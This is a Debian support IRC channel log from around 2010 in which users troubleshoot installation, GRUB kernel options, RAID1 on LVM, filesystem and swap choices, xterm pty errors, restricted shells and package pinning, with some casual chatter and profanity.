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| 07:59.43 | zeon1686 | i installed from a cd. iso to cd, restart computer n installed it on a second hhd |
| 07:59.48 | zeon1686 | hdd* |
| 07:59.48 | peterrooney | tsccof: IIRC, the xmms project hosts a legacy xmms deb |
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| 08:00.33 | gnarface | zeon1686: and you didn't get involved with usb key installer or installing from a harddrive partition? maybe somehow the debian install got mislabeled. what happens when you select it? |
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| 08:01.02 | tsccof | peterrooney: ah, will build from source! thanks a lot! |
| 08:01.27 | zeon1686 | wen i select debian installer it does the installer over again but has 'rescue mode' in the top right corner |
| 08:02.05 | zeon1686 | installed right from cd |
| 08:02.15 | gnarface | zeon1686: are you sure you actually installed debian? it sounds like you copied the installer from the cd or something weird |
| 08:02.50 | zeon1686 | i got the iso from the website. but it does sound like that |
| 08:02.53 | gnarface | zeon1686: did you follow some tutorial you can link? |
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| 08:03.17 | gnarface | zeon1686: also link the actual iso you used |
| 08:03.58 | zeon1686 | yea i read some tutorials. so are u sayin that there is a installer iso n the actual os iso? |
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| 08:04.35 | gnarface | zeon1686: there are actually a plethora of different isos and different ways to install debian. i'm not saying anything i'm just trying to figure out what the hell happened |
| 08:04.45 | antii | if im getting squeeze now for my server, will it be safe to do a dist upgrade when final is out? |
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| 08:04.48 | Tgh543 | is there a way to prevent debian from installing linux-image package and modifying grub menu when doing apt-get upgrade ? (I'm running custom kernel) |
| 08:05.10 | zeon1686 | me too. lol. hmm. |
| 08:05.36 | zeon1686 | its installs fine though, i jus never come to a login screen |
| 08:05.57 | gnarface | do you remember getting the option to select packages? |
| 08:06.43 | zeon1686 | yes i selected packages, it went all the way to the end of the installation wen it pops out the cd automatically |
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| 08:07.24 | gnarface | zeon1686: beats me. this has never happened to me. is this your first linux install? |
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| 08:07.30 | zeon1686 | when grub starts its suppose to say "debian" right? not 'debian installer' |
| 08:07.42 | zeon1686 | actually my second. |
| 08:07.52 | gnarface | well on mine it says the kernel version of several different kernels.... |
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| 08:08.24 | zeon1686 | the first time i installed unbutu n the screen resoulution was way to big n i could find a way to lower it |
| 08:08.35 | gnarface | Tgh543: i think this is not what you want. I think what you want is your custom kernel properly installed so it can coexist in the boot loader as a default option alongside the others |
| 08:08.41 | zeon1686 | the screen size i neam |
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| 08:10.14 | Tgh543 | gnarface: I installed the kernel the debian way (make kpkg etc), it co-exist without a problem, but when I do apt-get update, sometimes it installs linux-image and update grub's menu.lst and reset my custom parameters (vga=791 for example) |
| 08:10.55 | gnarface | Tgh543: I think if you put them in the right place in the config this does not happen |
| 08:10.59 | zeon1686 | thanks for the suggestions. later |
| 08:11.11 | Tgh543 | gnarface: that is ? |
| 08:11.25 | gnarface | Tgh543: the line where it says default parameters |
| 08:12.42 | Tgh543 | gnarface: you mean before the "automagic" stuff ? |
| 08:13.25 | gnarface | Tgh543: i'm not sure if the version of grub i'm running even uses menu.lst anymore, but yes. there is a section where it says default kernel options and shows some commented-out examples |
| 08:14.01 | Tgh543 | gnarface: exactly, before the ## ## End Default Options ## line, but it doesn't work.... :s |
| 08:14.40 | Tgh543 | gnarface: that's no big deal because it doesn't happen very often, I'll continue doing it manually, thanks for your help anyway |
| 08:15.40 | gnarface | Tgh543: i think you're making a syntax error. find the line that starts with # kopt=root=UUID=..... |
| 08:15.54 | gnarface | then add to the end of that line. don't remove the # or anything else on it |
| 08:17.05 | Tgh543 | gnarface: I see, I'll try it. |
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| 08:18.04 | gnarface | Tgh543: but like i said if that doesn't work you also need to make sure you're not using a grub that has moved the config to /etc/grub now... i don't even know how to work that yet |
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| 08:19.27 | penus | Hi, is there any command to check the number of online PC's on a home router network? the router 'connected clients' page shows me the wrong number... it keeps the cache from the last 24H probably |
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| 08:20.24 | Tgh543 | gnarface: nop, it's using /boot/grub stuff... but the kopt line you showed me seems to do the trick :) |
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| 08:20.42 | gnarface | hooraaay |
| 08:21.03 | rozie | penus: fping |
| 08:21.06 | sep | penus, i usualy do a variation of fping -g network-address/masklen ; arp -an |
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| 08:21.28 | penus | thanks a lot, i'll start testing |
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| 08:24.24 | Tgh543 | penus: nmap can do this too |
| 08:24.47 | wieshka | hey, can anybody provide with best link to manual how to setup mirrored HDD's with LVM & RAID ? i have 3 disks, one is 80Gb for system only, and two 2TB disks for data storage only |
| 08:24.59 | Tgh543 | penus: something like nmap -sP 192.168.1.1/24 (change the ip) |
| 08:25.40 | penus | wait if it's just the ping thing, i was dumb enough not to ping few ips manually, because i remember limiting my router to 3 connections heh |
| 08:26.05 | penus | so it should be 192.168.1.1 to 192.168.1.3 |
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| 08:27.02 | sep | wieshka, http://d-i.alioth.debian.org/manual/en.i386/ch06s03.html#di-partition the installation guide should be a natural first read |
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| 08:29.18 | penus | it's not working if one has some weird windows antivirus :) i think kaspersky detected pings |
| 08:30.32 | ov3rmind | nice morning |
| 08:30.45 | wieshka | sep i have no problems with setting up debian os, the problem is that i dont have any experience about setting up RAID 1 on existing system |
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| 08:30.57 | wieshka | or you suggest to do it with debian installer ? |
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| 08:31.31 | sep | wieshka, i thought you asked about setting it up via the installer. sorry. |
| 08:32.21 | gnarface | i thought the point of LVM was so that you didn't need to use RAID to mirror partitions? |
| 08:33.28 | dondelelcaro | gnarface: the point of lvm is that you can snapshot and dynamically allocate partitions |
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| 08:33.49 | Tgh543 | penus: use stealth scanning (sync) |
| 08:34.04 | dondelelcaro | wieshka: you just shove the disks in, partition them, then raid them using mdadm; pretty straight forward |
| 08:34.07 | penus | Tgh543, how do i do that? |
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| 08:34.13 | wieshka | so in basics, i need to create partition on both disks as Linux raid autodetect, then i should mdadm --create /dev/mda0 --level 1 <devices> .... and then with lvm2 i do pvcreate and i can operate with it as with normal disk |
| 08:34.36 | sep | wieshka, correct |
| 08:35.09 | wieshka | possibe problem - isnt LVM first detected, and RAID secondary ? |
| 08:35.17 | wieshka | durring the bootup ? |
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| 08:35.40 | penus | Tgh543, found it nmap -vv -sS IP |
| 08:35.42 | tsccof | what was the programme I could use for checking dependencies during ./configure? |
| 08:35.44 | penus | thanks |
| 08:36.08 | wieshka | huh, but my system is out of RAID, so they will be mounted during rc.d, so lets get work done ... :) |
| 08:36.58 | sep | gnarface, you can mirror a volume with lvm. but you then usualy mirror each volume. if you have many volumes it's easier to manage the raid1 as a md device (imho) |
| 08:37.23 | sep | and since lvm have so many other benefits lvm on raid1 is quite common |
| 08:37.58 | dondelelcaro | wieshka: not necessarily |
| 08:37.58 | sep | wieshka, i usualy have a 200 mb partition on the start of the disks. that i raid1 together and mount as /boot |
| 08:38.04 | dondelelcaro | wieshka: normally you have lvm on top of raid |
| 08:38.32 | sep | then the rest of the disk used with lvm |
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| 08:39.22 | wieshka | sep why i need seperated /boot partition on data storage only disks, if i have one on system HDD ? |
| 08:39.23 | sep | since it's much easier to troubleshoot in the future if you have /boot outside the lvm (again imho) |
| 08:39.30 | sep | then you do not |
| 08:39.41 | Bartzy | For a laptop, what you'd recommend ? Ext3 or ReiserFS ? |
| 08:39.43 | sep | only if you boot on the raid+lvm disks |
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| 08:39.52 | fignew | Bartzy: Ext3 |
| 08:39.54 | sep | Bartzy, NEVER reiser |
| 08:40.00 | sep | ext3 for sure |
| 08:40.13 | fignew | yea, ext3 isn't great, but a lot better than reiser |
| 08:40.17 | Bartzy | Why ? |
| 08:40.18 | fignew | I use XFS personally |
| 08:40.18 | dondelelcaro | wieshka: usually you'd want a mirrored system drive too, but it's not needed |
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| 08:40.34 | Bartzy | XFS is for huge files and huge filesystem generally ? |
| 08:40.53 | gnarface | it works well for that |
| 08:41.08 | gnarface | i don't have any problems with reiserfs but it has slipped lately in benchmarks against others... |
| 08:41.17 | Bartzy | Can you link to benchmarks ? |
| 08:41.19 | gnarface | xfs is entirely undersold |
| 08:41.21 | Bartzy | ext3 performance is fine ? |
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| 08:41.36 | wieshka | my 1U case has only 3 disk slots ...... yeah, i know, that i should have system mirrored also, but it this case it is for backups only |
| 08:41.44 | gnarface | nobody uses ext3 for performance, they use it because its the one everyone uses so that's safer |
| 08:41.48 | Bartzy | Also, not a problem to install squeeze on the laptop right ? I think it's the right choice |
| 08:41.58 | sep | xfs's default options are more fragile if you do not have a ups with controlled shutdown then ext3's default options. a laptop have built in batters so probably nice there :) |
| 08:42.12 | Bartzy | gnarface: And for performance (servers), what's considered good (Just asking out of curiousity) |
| 08:42.17 | antii | safe to use debian testing for "homeserver" purpose? |
| 08:42.23 | dondelelcaro | Bartzy: of the people who come in here with filesystems that have blown up, most of them run reiser |
| 08:42.38 | Bartzy | dondelelcaro: Good to know. |
| 08:42.53 | dondelelcaro | (though nowadays that's tailed off slightly) |
| 08:43.09 | gnarface | reiserfs started out really rough |
| 08:43.11 | fignew | Bartzy: for servers? ext3,XFS,JFS,ext4 |
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| 08:43.15 | vtts | antii, what do you mean by "safe"? |
| 08:43.17 | gnarface | but that was like in 1998 |
| 08:43.24 | fignew | same for desktops/laptops/servers :P |
| 08:43.41 | antii | vtts: getting no problems |
| 08:44.13 | Bartzy | It's generally recommended to seperate my /home in another partition than the rest of the system ? |
| 08:44.20 | Bartzy | If I'll need to reinstall or something ? |
| 08:44.48 | jelly-home | antii: it probably won't eat your cat. |
| 08:45.01 | gnarface | these aren't the benchmarks i was looking for but google says they're the most recent. anyone got better ones? http://www.phoronix.com/scan.php?page=article&item=linux_2634_fs&num=1 |
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| 08:45.39 | vtts | antii, well not all bugs are fixed yet, hence it is not stable yet, but personaly i've been using it in production for few months and have not encountered any serious problems yet. |
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| 08:45.55 | gnarface | here's benchmarks that include reiserfs but they're from 2006 ... http://www.debian-administration.org/articles/388 |
| 08:47.12 | antii | jelly-home: hehe |
| 08:47.58 | sep | gnarface, reiserfs is ok for /tmp |
| 08:48.17 | tsccof | what was the programme I could use for checking dependencies during ./configure? |
| 08:49.15 | gnarface | Bartzy: for a desktop system if you are not using LVM you may find it annoying to have to resize two partitions if you run out of space. on laptops i often just put everything in /, but on servers i typically aim for carefully chosen sizes for separate partitions for /, /usr, /home, /tmp, and /var |
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| 08:50.37 | gnarface | Bartzy: reiserfs's primary speed benefit was in dealing with groups of small files, which used to be something webservers had a lot of. |
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| 08:51.55 | antii | vtts: alright, will it be ok to upgrade to stable when it comes out aswell? (dist upgrade)? |
| 08:52.14 | alcy | If a bug has been found and patched upstream, then should the debian maintainers be notified to include the changes accordingly ? |
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| 08:52.39 | Bartzy | gnarface: Why do you do that for servers (the sizing) ? |
| 08:52.39 | fignew | alcy: security bug? |
| 08:53.02 | alcy | fignew: segfaults/crashes |
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| 08:54.07 | fignew | alcy: I don't know, but I think the answer is no. Someone who isn't talking out of their butt care to answer? |
| 08:54.16 | gnarface | Bartzy: because if your / partition fills up your machine will fail to boot, and if your /var partition fills up then shit that writes logs there will choke |
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| 08:55.29 | vtts | antii, i don't see any reason why it would not be ok. Further more i think it will be easier than upgrading from lenny. |
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| 08:57.34 | wieshka | how stable ext4 is on debian ? |
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| 08:58.59 | Kamping_Kaiser | about 7.4 |
| 08:59.11 | jargon- | no debian squeeze packages for conkyforecast? no debs at all it seems. anybody use conkyforecast? |
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| 08:59.17 | alcy | wieshka: define stable. you inquiring for general purpose/desktops or servers ? |
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| 08:59.30 | wieshka | alcy - server, backup data storage |
| 08:59.58 | wieshka | disk size ~1.8 Tb / RAID 1 / LVM |
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| 09:01.16 | alcy | wieshka: hmmm. can't help you there specifically, but at least that narrows down your query. for eg. recently I was suggested to stick to ext3 for mysql replication needs etc. |
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| 09:02.37 | wieshka | lets create a ext3 ... hmm, intresting, do i have on any of servers/virtual servers/desktops ext4 ? :) |
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| 09:03.07 | cheasee | hi, im googling for a short howto about how to run a guest with xen/qemu or similar on an intel cpu without VT. could anyone point me in the right direction please? :) |
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| 09:03.57 | antii | vtts: ah! |
| 09:04.00 | antii | vtts: thx :]] |
| 09:04.52 | cheasee | all i find on google are walkthroughs using hvm which isnt supported on my cpu |
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| 09:06.19 | gnarface | i thought having hvm wasn't mandatory it just made it faster? |
| 09:06.29 | gnarface | no? |
| 09:07.21 | gnarface | i like linux-vserver but it won't be of any use for running non-linux guests |
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| 09:09.24 | Selveste1 | cheasee: I have just joined, XEN or Vserver guids.? |
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| 09:10.54 | cheasee | gnarface: i thought so too, but i guess it needs some other config than the ones i find on the net with hvm support |
| 09:11.18 | cheasee | Selveste1: xen/qemu/kvm .. |
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| 09:12.02 | gnarface | cheasee: do you need to run non-linux guests or is this just for a virtualized homogeneous cluster of nodes? |
| 09:15.11 | Selveste1 | cheasee: try this site - its based on non-hvm (danish) but google translate is you friend, http://www.semarkit.dk/wiki/index.php/Xen_server - im working on an english version but for now its on danish |
| 09:16.31 | cheasee | gnarface: yes i want to run non-linux guests |
| 09:17.06 | cheasee | i just reinstalled kvm and it automatically disabled hardware support, guest runs fine though |
| 09:17.32 | cheasee | strange, before i got error that there is no hardware support.. well, now after trying xen, it works |
| 09:21.13 | Bartzy | I want to install squeeze using net installer.. I should download squeeze beta 1 ? |
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| 09:22.37 | miguel000 | I have a german keyboard but want to change the laylut to US ENGLISH. howver dpkg-reconfigure console-data does not help |
| 09:22.44 | miguel000 | layout |
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| 09:25.23 | miguel000 | also loadkeys de and loadkeys us does not make any difference |
| 09:25.25 | miguel000 | ? |
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| 09:25.59 | Selveste1 | How can you run non-NIX on hardware that don't support HVM.? |
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| 09:31.59 | petern_ | hrmm |
| 09:32.24 | petern_ | openoffice won't open documents with spaces in the name, from nautilus |
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| 09:33.32 | Kamping_Kaiser | quote the file name or escape it |
| 09:33.41 | Kamping_Kaiser | s/it/whitespace |
| 09:34.22 | petern_ | tricky when double clicking, however... |
| 09:34.44 | Kamping_Kaiser | petern_: what are you running? i've not seen that behaviour |
| 09:34.52 | Kamping_Kaiser | petern_: and yes, fair point, i read that wrong :/ |
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| 09:37.22 | gnarface | once upon a time i tried to use nautilus. i couldn't figure out how to get it to be even remotely as useful as windows explorer, so i thought "wtf is the point then?" and went back to launching everything from the shell manually |
| 09:38.01 | gnarface | tab completion is awesome |
| 09:38.12 | gnarface | true story |
| 09:38.42 | Kamping_Kaiser | then agian, you don't need to tab complete if you don't need to type the whole word |
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| 09:41.03 | gnarface | sometimes i supplement with the occasional mouse action |
| 09:41.31 | gnarface | having a paste button by default and a clipboard automatically populated by text selection totally blows the doors off windows |
| 09:41.52 | gnarface | also, focus follows mouse and no automatic window re-stacking |
| 09:41.56 | gnarface | i like it old skool |
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| 09:43.34 | Iridos | if that wasn't totally offtopic I would now say "what? Explorer is useful? What for?" |
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| 09:44.03 | gnarface | i was just relating my vast dissappointment with the quality and refinement of nautilus |
| 09:44.30 | gnarface | if you knew me you'd know how much it hurts me to have to compare it unfavorably to explorer |
| 09:44.39 | gnarface | i fucking hate microsoft |
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| 09:45.11 | gnarface | to the point i actually boycott their software |
| 09:45.27 | gnarface | but it makes one wonder... why has nautilus gone so horribly wrong? |
| 09:45.34 | Kamping_Kaiser | i'm torn between not caring, and being interseted in why you think its so much better |
| 09:45.56 | gnarface | ffs double click doesn't always work |
| 09:45.59 | gnarface | epic fail |
| 09:46.39 | gnarface | there were other missing features which may be there now... like the ability to right-click inspect a directory and get a popup that listed the count and total file size of its subfolders/files |
| 09:46.51 | gnarface | the ability to drag+drop in any meaningful way |
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| 09:47.10 | gnarface | all stuff i don't need or use because i've now become faster with a terminal |
| 09:47.13 | gnarface | but still... |
| 09:47.42 | miguel000 | how can i cange my keyboard to act like an US one? (even if ist german. for instance switch z and y etc..) |
| 09:48.00 | Arrowmaster | miguel000: what version of debian? |
| 09:48.15 | miguel000 | Arrowmaster: how can i check_ |
| 09:48.32 | miguel000 | ? |
| 09:49.00 | Arrowmaster | cat /etc/debian_version |
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| 09:49.10 | miguel000 | 5.0.5 |
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| 09:49.52 | Arrowmaster | ok i have no clue for that version |
| 09:50.16 | miguel000 | is it so different in each version? |
| 09:50.49 | Arrowmaster | it changed in squeeze |
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| 09:51.13 | Arrowmaster | which i use so i dont know how the previous version is |
| 09:52.09 | CPi | -help |
| 09:52.11 | miguel000 | oh allright |
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| 09:54.12 | CPi | erc-cmd-CLEAR |
| 09:54.28 | wieshka | does /etc/fstab entry for auto mounting LVM Partition: /dev/backups/backups /data/ackups ext3 defaults 0 0 seems ok, m ? |
| 09:54.58 | cast | ackups? |
| 09:55.25 | cast | do a 'mount /dev/backups/backups' and test it |
| 09:55.59 | tsccof | if I compile a vanilla kernel on a Debian system and use it, is there a chance for the system to simply freeze? |
| 09:56.14 | wieshka | cast everything seemd ok, added entry and tested with mount -a |
| 09:56.44 | cast | tsccof: yes. |
| 09:57.16 | tsccof | cast: is there a huge chance for that to happen? I would like to compile a monolithic 2.6.36.1 |
| 09:57.28 | cast | not huge |
| 09:58.06 | cast | will mostly be fine, i suggest makinf a kpkg |
| 09:59.20 | tsccof | cast: thanks |
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| 10:05.49 | eshat | i want to be informed about a package (updates, bugs, etc). Where is the place to subscribe ? (There is no mailing list since it is a single maintainer). |
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| 10:06.24 | petern_ | Kamping_Kaiser, embarassing... my openoffice package is not actually debian's :s |
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| 10:09.30 | eshat | Are only maintainers and co-maintainers able to get information for a package ? |
| 10:10.04 | zealiod | How can I create a linux shell user, so when they login only one shell script runs and they are unable to do any directory level commands? |
| 10:10.21 | zealiod | by that i mean, see a shell prompt |
| 10:10.44 | llutz | zealiod: "man rbash" |
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| 10:10.58 | zealiod | thank you |
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| 10:12.16 | zealiod | llutz: can i customize what is restricted? My shell script unats a file and extracts to / |
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| 10:12.47 | petern_ | Kamping_Kaiser, and of course the correct packages work properly |
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| 10:14.39 | llutz | zealiod: i'm not sure |
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| 10:23.48 | d0x | Hi, did someone know how to force update-grub to have a log on sda and sdb? |
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| 10:30.36 | bla | zealiod, you can add your script to /etc/shells and set it as a shell |
| 10:31.07 | bla | zealiod, you can also use SSH key options in ~/.ssh/authorized_keys - that is, give him single key with which he can log and execute this single command |
| 10:31.50 | bla | man authorized_keys for the latter; there're examples |
| 10:32.05 | zealiod | bla: could they drop out of that shell and access the command line? |
| 10:32.43 | bla | The first approach? Doubtful, they would have to 'hack' your script. If it's not interactive it's very hard. |
| 10:33.09 | bla | Read on the second (ssh) option. It's nicer generally. |
| 10:33.32 | bla | command="dump /home",no-pty,no-port-forwarding (here goes key) |
| 10:33.47 | bla | This even turns off some ssh options normally available (port forwarding) |
| 10:33.52 | bla | and disables PTY. |
| 10:34.36 | petan | anyone knows how to compile kvirc on lenny |
| 10:35.12 | bla | petan, details. Nobody will help you with such a vague question. Start by reading README and INSTALL |
| 10:35.25 | bla | BTW, why compile it? |
| 10:35.38 | petan | bla: kvirc requires cmake for compile but it fails with some mistake |
| 10:35.51 | petan | bla: because I want to run newer |
| 10:36.29 | bla | Probably you don't have necessary -dev packages installed. You have to understand why cmake failed. |
| 10:36.31 | petan | bla: there is no option to get package which would work on lenny |
| 10:36.46 | petan | bla: becuse it needs hundreds of packages to updated |
| 10:37.39 | petan | bla: cmake fails because of some environment exports which are not set or set wrong but I think it is because I am missing some other packages... readme just say compile it with cmake |
| 10:37.55 | bla | Can't you paste cmake result on some nopaste.pl site? |
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| 10:43.29 | petan | bla is it possible to install qtmake on lenny |
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| 10:43.57 | petan | bla with aptitude |
| 10:44.19 | bla | No idea, but I quess it should be easy to check. |
| 10:44.27 | bla | It might be inside some qt4-dev package |
| 10:44.34 | petan | ok |
| 10:44.35 | bla | (apt-file search is your friend) |
| 10:45.08 | bla | qt4-qmake? |
| 10:45.17 | bla | Or qt3-dev-tools |
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| 10:45.45 | petan | installing |
| 10:46.12 | petan | but I doubt it is new enough for some reason kvirc requires all newest |
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| 10:47.38 | cronix | hi all |
| 10:47.43 | petan | hi :o |
| 10:48.09 | cronix | anyone has managed to get an a2dp bluetooth headset running on debian squeeze and can get me a few sources of information? |
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| 10:48.31 | cronix | im kinda helpless here since the bluez wiki which is referenced kinda anywhere isnt existing anymore |
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| 10:52.37 | Almad | How to force package with broken prerm script to be uninstalled? |
| 10:53.16 | rozie | Almad: repack with fixed prerm script? |
| 10:53.43 | Almad | rozie: not helping, as old prerm script is executed |
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| 10:54.10 | petemc | Almad: you can edit the script |
| 10:54.31 | rozie | Almad: install fixed version |
| 10:54.55 | Almad | petemc: where? |
| 10:55.19 | petemc | <PROTECTED> |
| 10:55.31 | Almad | rozie: fixed version is not getting installed, as installation is aborted after prerm |
| 10:55.39 | Almad | petemc: ah, thanks |
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| 11:02.24 | Bush-junior | guyz help me please make kernel |
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| 11:05.39 | Enigma5 | Got a problem with apt-proxy: [HttpRequestClient] abort - unknown extension for file dists/lenny/main/installer-i386/current/images/netboot/xen/vmlinuz |
| 11:06.35 | Enigma5 | It doesnt proxy this request, but it exists in the official mirrors |
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| 11:10.43 | Bush-junior | please please help me please |
| 11:10.45 | danslo | Bush-junior: please be more specific :) |
| 11:11.02 | Bush-junior | ok |
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| 11:11.12 | Bush-junior | no pty's in /dev/ |
| 11:11.30 | Bush-junior | trying pty.legacy_count=32 - nothing |
| 11:11.37 | Bush-junior | to boot line |
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| 11:12.31 | Bush-junior | maybe I need to configure UDEV ? |
| 11:12.41 | Bush-junior | and no new kernel needed |
| 11:13.48 | Bush-junior | Il googled - nothing |
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| 11:17.34 | Enigma5 | fixed it |
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| 11:18.34 | babilen | Bush-junior: You might want to read "man 4 pts" -- What do you need ptys for? (Just curious) |
| 11:18.44 | Bush-junior | for xterm |
| 11:19.02 | acemi | Bush-junior: man says that /dev/ptmx is the device for this |
| 11:19.06 | Bush-junior | gonna reading |
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| 11:19.31 | Bush-junior | crw-rw-rw- 1 root root 5, 2 Ðек 6 20:54 /dev/ptmx |
| 11:19.33 | Bush-junior | have one |
| 11:20.27 | acemi | When a process opens /dev/ptmx, it gets a file descriptor for a pseudo-terminal master (PTM), and a pseudo-terminal slave (PTS) device is created in the /dev/pts directory |
| 11:20.37 | acemi | from man |
| 11:21.14 | babilen | Bush-junior: Is xterm complaining? Or rather: What is the error you are trying to fix/what are you trying to achieve? |
| 11:21.19 | babilen | acemi: exactly :) |
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| 11:22.52 | Bush-junior | xterm: Error 32, errno 2: Reason: get_pty: not enough ptys |
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| 11:23.42 | Bush-junior | and no ptys created in /dev/pts/ |
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| 11:24.22 | babilen | Bush-junior: Where is that xterm from, or in other words: Paste output of "apt-cache policy ; apt-cache policy xterm" -- When do you run into this error? |
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| 11:27.06 | Bush-junior | Il just switch off most services in /dev/init.d/* |
| 11:27.18 | Bush-junior | before all working fine |
| 11:27.33 | Bush-junior | before it |
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| 11:27.56 | Bush-junior | not I switch on all services) and nothing =) |
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| 11:28.11 | Bush-junior | *now I |
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| 11:28.57 | Bush-junior | СпиÑки пакеÑов: |
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| 11:28.58 | Bush-junior | <PROTECTED> |
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| 11:28.58 | Bush-junior | <PROTECTED> |
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| 11:29.38 | babilen | Bush-junior: http://paste.debian.net |
| 11:30.02 | Bush-junior | Im in console =3 |
| 11:30.32 | babilen | Bush-junior: And could you clarify the "switch off most services" and "before all working fine" thing. Do you have udev runnint? IIRC xterm should use Unix 98 ttys ... |
| 11:30.44 | babilen | !tell Bush-junior -about pastebinit |
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| 11:32.58 | babilen | Bush-junior: You haven't by chance disabled udev? |
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| 11:33.29 | zmitya | hi gents |
| 11:33.52 | zmitya | what is the "official way" to prevent the system to install a specified packet ? |
| 11:34.18 | zmitya | so I would like to be sure that a packet will not be installed ever |
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| 11:35.09 | Bush-junior | babilen: I think it can be udev, but no It run maybe Il rewrite configuration |
| 11:35.30 | Bush-junior | *but now |
| 11:35.39 | Bush-junior | *but now It |
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| 11:37.10 | Bush-junior | apt-cache policy | pastebinit - \\\\ http://pastebin.com/7ScZczQb |
| 11:37.18 | babilen | thanks |
| 11:37.19 | acemi | zmitya: prevent to install or to upgrade? |
| 11:37.48 | babilen | Bush-junior: Also what do you mean with "before all working fine" ? |
| 11:37.50 | Bush-junior | apt-cache policy xterm | pastebinit - \\\\ http://pastebin.com/AtKZrkbB |
| 11:37.52 | zmitya | acemi: prevent to install |
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| 11:38.21 | Bush-junior | babilen: before switching off most services in /etc/init.d/ |
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| 11:38.52 | Bush-junior | apt-cache policy | pastebinit - \\\\ http://pastebin.com/8m5Zkq69 |
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| 11:39.20 | babilen | Bush-junior: Don't switch them off. They are needed (apparently) .. |
| 11:41.08 | babilen | Bush-junior: Or at least not all of them |
| 11:41.35 | Bush-junior | babilen: all work fine with udev)) but pty's) |
| 11:41.46 | babilen | what? |
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| 11:42.08 | Bush-junior | net, Xorg |
| 11:42.13 | Bush-junior | firefox) |
| 11:42.28 | babilen | Yes, sure they don't need ttys/ptys |
| 11:42.48 | Bush-junior | in pstree just init,udevd and getty then I boot in |
| 11:47.03 | Bush-junior | ok new kernel created, Il be back |
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| 11:52.10 | Bartzy | if I have 4GB ram, 4GB of swap is fine ? |
| 11:52.36 | cronix | anyone has managed to get an a2dp bluetooth headset running on debian squeeze and can get me a few sources of information? |
| 11:52.39 | cronix | im kinda helpless here since the bluez wiki which is referenced kinda anywhere isnt existing anymore |
| 11:52.42 | babilen | zmitya: One idea would be to create a package that conflicts with all packages you don't want and put that package on hold. |
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| 11:54.47 | babilen | zmitya: equivs might come in handy |
| 11:55.02 | Bush-jun | "mount -vt devpts -o gid=4,mode=620 none /dev/pts" - fix the problem |
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| 11:55.48 | babilen | Bush-jun: Yes, but why do you change the way Debian is supposed to run. pts is not used on Debian |
| 11:56.00 | babilen | *are |
| 11:56.34 | Bush-jun | pts used for xterm |
| 11:56.55 | Bush-jun | *by xterm |
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| 11:58.26 | acemi | Bartzy: there is no direct relation between the size of RAM and the size of swap |
| 11:58.39 | Bartzy | acemi: OK, what do you suggest (laptop) |
| 11:59.28 | acemi | I think you don't need swap if you don't use hibernate |
| 11:59.32 | stew | acemi: there is if you are going to suspend to disk |
| 12:00.08 | babilen | Bartzy: 4GB of swap is most likely enough. This setting is important if you want to hibernate (suspend to disk) -- If you don't plan to do that, you could also allocate less disk space |
| 12:00.10 | stew | although you don't need swap, your machine would likely be slower without it (depending on your usage patterns) |
| 12:00.34 | Bartzy | so for hibernation I must use more than 4GB (more than my RAM ?) |
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| 12:01.23 | babilen | zmitya: Do you think that would be a good approach? I can't really think of anyhting else right now :-\ |
| 12:01.25 | stew | Bartzy: no, when you hibernate, the image is compressed |
| 12:01.51 | stew | zmitya: man apt_preferences. if you don't want a package installed, pin it below 0 |
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| 12:03.36 | Bartzy | Does it make a difference what's first : swap, boot or root partition ? |
| 12:03.55 | abrotman | no |
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| 12:04.16 | abrotman | it used to, but unless you're using an old lilo, it shouldn't matter anymore |
| 12:04.20 | zmitya | babilen: thanks |
| 12:04.32 | zmitya | stew: thanks, I think this is that I'm looking for... |
| 12:04.38 | babilen | stew: Would that work with metapackages as well? |
| 12:04.39 | Bartzy | OK... why it used to ? Also, 256mb for boot is also ok ? |
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| 12:05.26 | khem_ | Is there any common case where you cannot access your Apache from remote, I got the server running, and listening at tcp 0 0 95.211.132.225:80 0.0.0.0:* LISTEN 7831/apache2 and no iptables ruleset |
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| 12:05.45 | stew | babilen: i don't believe apt knows if something is a metapackage, I don't see how it would be any different |
| 12:05.47 | acemi | Bartzy: if you'll have only the default kernel, 256 is OK |
| 12:05.50 | khem_ | it is the Debian apache2 package, with a configuration that's been customized |
| 12:05.51 | stew | babilen: or did you mean virtual package? |
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| 12:06.27 | Bartzy | acemi: Say I'll have more.. each kernel 2-8MB ... that's a lot of kernels in 256mb :) |
| 12:06.42 | Bartzy | acemi: Also, mount options for ext3 ... should I just set the defaults, or use noatime and such ? |
| 12:07.29 | babilen | stew: I am not sure, but if e.g. "gnome" is pinned to, say, -100 and somebody issues "aptitude install gnome" would that change the set of installed packages? |
| 12:07.34 | abrotman | Bartzy: is there some special reason you want a separate /boot/ ? |
| 12:07.59 | Bartzy | abrotman: It just seems more organized.. that's not the general practice ? |
| 12:08.07 | acemi | I use ext4 for all my partition with noatime for my desktop machine |
| 12:08.08 | Zambezi | I got this error messages earlier when I tried to use mplayer, but it's still there after reboot: "Version mismatch detected between the NVIDIA libGL.so and libGLcore.so shared libraries (libGL.so version: 195.36.15; libGLcore.so version: 195.36.31). Please try reinstalling the NVIDIA driver". I'm using Squeeze. All latest from the repos. |
| 12:08.16 | Bartzy | acemi: ext4 is stable ? |
| 12:08.43 | acemi | Bartzy: will you install squeeze or lenny? |
| 12:08.56 | Bartzy | squeeze. |
| 12:09.05 | Bartzy | for a (new) laptop |
| 12:09.34 | acemi | i think ext4 is OK for squeeze |
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| 12:09.45 | Bartzy | can you elaborate ? |
| 12:10.05 | abrotman | Bartzy: i wouldn't say so anymore .. unless you have a more advanced setup than 2-3 basic ext2/3/4 partitions |
| 12:10.19 | Bush-junior | http://pastebin.com/jZMMHQWr - beauty |
| 12:11.15 | Bush-junior | Im using Internets haha |
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| 12:12.29 | bala` | Hi, Can someone help me by telling which package to install to get the "truncate" command ? |
| 12:12.42 | babilen | !tell bala` -about apt-file |
| 12:13.04 | Bartzy | abrotman: why it was like that in the past (seperate boot partition) ? |
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| 12:13.10 | babilen | bala`: and then: apt-file search -x "bin/truncate$" |
| 12:13.14 | Bartzy | abrotman: Also, what's your opinion on ext4 ? :) |
| 12:13.36 | abrotman | i haven't used it in production yet .. |
| 12:14.08 | bala` | babilen: I am Lenny. And I don't get apt-file. |
| 12:14.17 | bala` | babilen: I am on Lenny* |
| 12:14.30 | abrotman | I haven't been interested in trying ext4 yet .. I need my data to be there before I start caring about how fast it gets there |
| 12:14.48 | icebrain | ,versions apt-file |
| 12:14.49 | judd | Package apt-file on i386 -- etch: 2.0.8.2; lenny: 2.1.5; sid: 2.4.0; squeeze: 2.4.0 |
| 12:15.06 | bala` | babilen: judd: Thanks. will do that |
| 12:15.20 | liable | scratches head |
| 12:15.25 | icebrain | bala`: judd's a bot ;) |
